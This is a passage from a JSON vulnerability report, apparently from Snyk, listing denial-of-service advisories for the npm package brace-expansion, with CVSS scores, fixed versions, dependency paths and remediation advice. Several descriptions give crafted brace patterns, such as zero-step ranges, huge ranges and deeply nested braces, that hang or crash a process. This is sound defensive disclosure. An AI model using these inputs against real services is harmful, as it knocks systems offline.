Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub 